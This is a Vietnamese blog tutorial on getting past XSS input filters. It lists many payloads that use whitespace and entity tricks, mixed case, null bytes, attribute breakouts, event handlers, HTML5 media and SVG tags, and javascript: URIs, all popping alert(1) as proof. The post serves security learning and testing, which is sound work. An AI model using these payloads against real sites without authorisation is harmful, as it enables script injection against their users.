Một số thủ thuật vượt qua filter XSS

2

XSS là một trong những lỗi phổ biến nhất trên webapp ngày nay và chưa có dấu hiệu giảm đi. Cách để phòng chống XSS đa số các website thường áp dụng đó là dùng các filter để loại bỏ các dấu đóng mở ngoặc hoặc dùng Regex. Tuy nhiên kể cả khi đã xài các filter này thì vẫn luôn có một cách nào đó để vượt qua được nó 😀

Một số thay đổi cơ bản

Mình sẽ bắt đầu thử với một số cách để bypass những bộ lọc đơn giản nhất. Hầu hết cách chúng ta sử dụng để test XSS là sử dụng một số đoạn mã như sau. Nếu webapp dính lỗi XSS thì sẽ xuất hiện một popup in ra số 1.

<script>alert(1)</script>

Một số ví dụ đơn giản, ta có thể thêm dấu cách vào trong thẻ script như sau

<script >alert(1)</script>
<script	    >alert(1)</script>

Và như sau

<script&#9>alert(1)</script>
<script&#10>alert(1)</script>
<script&#13>alert(1)</script>

Như vậy, mình có thể chèn một dòng mới, hoặc một lệnh xuống dòng để kết thúc thẻ script nhưng vẫn thực thi được XSS. Trong một số trường hợp khác thì viết hoa một số chữ trong thẻ cũng có thể đánh lừa được filter như

<ScRipT>alert(1)</sCriPt>

Insert một vài kí tự null ở trong payload cũng có thể mang lại kết quả tương tự

<%00script>alert(1)</script>
<script>al%00ert(1)</script>

Thay đổi thuộc tính hoặc thẻ

Ví dụ, với một thẻ input như sau cho thuộc tính value

<input type="text" name="input" value="hello">

Ta có thể kết thúc thẻ value sau đó chèn code XSS như sau

<input type="text" name="input" value="><script>alert(1)</script>

Tương tự như phần trên ta có một số biến thể khi chèn null hoặc chèn dấu cách vào như sau

<input/type="text" name="input" value="><script>alert(1)</script>
<input&#9type="text" name="input" value="><script>alert(1)</script>
<input&#10type="text" name="input" value="><script>alert(1)</script>
<input&#13type="text" name="input" value="><script>alert(1)</script>
<input/'type="text" name="input" value="><script>alert(1)</script>
<iNpUt type="text" name="input" value="><script>alert(1)</script>
<%00input type="text" name="input" value="><script>alert(1)</script>
<inp%00ut type="text" name="input" value="><script>alert(1)</script>
<input t%00ype="text" name="input" value="><script>alert(1)</script>
<input type="text" name="input" value="><script>a%00lert(1)</script>

Xử lí sự kiện

Một số event có thể được sử dụng để khai thác XSS như

<input onsubmit=alert(1)>
<object onerror=alert(1)>
<body onactivate=alert(1)>
<body onfocusin=alert(1)>
<script onreadystatechange=alert(1)>
<input autofocus onfocus=alert(1)>

Một số event không cần người dùng thao tác ví dụ như onready hoặc onactive. Những sự kiện này có thể tự động được load khi người dùng tải trang dẫn tới thực thi mã XSS mà người dùng không thể kiểm soát được.

Khi HTML5 được phát hành, nó cũng được các hacker khai thác với một số kĩ thuật XSS như

<audio src="new.mp3" onerror=alert(1)>
<video src="new.mp4" onerror=alert(1)>
<svg width="200" height="100" onload=alert(1)>

Trên đây là một số kĩ thuật để giúp bạn bypass được những bộ lọc XSS cơ bản. Khi một bộ lọc mới được sinh ra để filter đi những payload cũ thì chắc chắn sẽ có những payload mới được sinh ra để bypass đó. Chúc bạn thành công.

Dưới đây là một số mẫu payload khác để các bạn có thể thử:

<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>
<img onerror=&#34alert(1)&#34src=x>
<img onerror=&#39alert(1)&#39src=x>
<img onerror=`alert(1)`src=x>
<img onerror=&#96alert(1)&#96src=x>
<img src=`x`onerror=alert(1)>
<<script>alert(1)//<</script>
<input onsubmit=alert(1)<
«input onsubmit=alert(1)»
&#174input onsubmit=alert(1)&#175
<a href="javascript:alert(1)">Click Here</a>
<img src=javascript:alert(1)>
<form action=javascript:alert(1)>
<object data=javascript:alert(1)>
<button formaction=javascript:alert(1)>
<video src=javascript:alert(1)>
2 Comments
  1. sf says
  2. […] Nổi bật Sơ lược về Full path disclosure ( FPD… Một số thủ thuật vượt qua filter XSS Khi Cookie Hijacking + HTML Injection trở nên… Ví dụ về một cuộc tấn công […]

Leave A Reply

Your email address will not be published.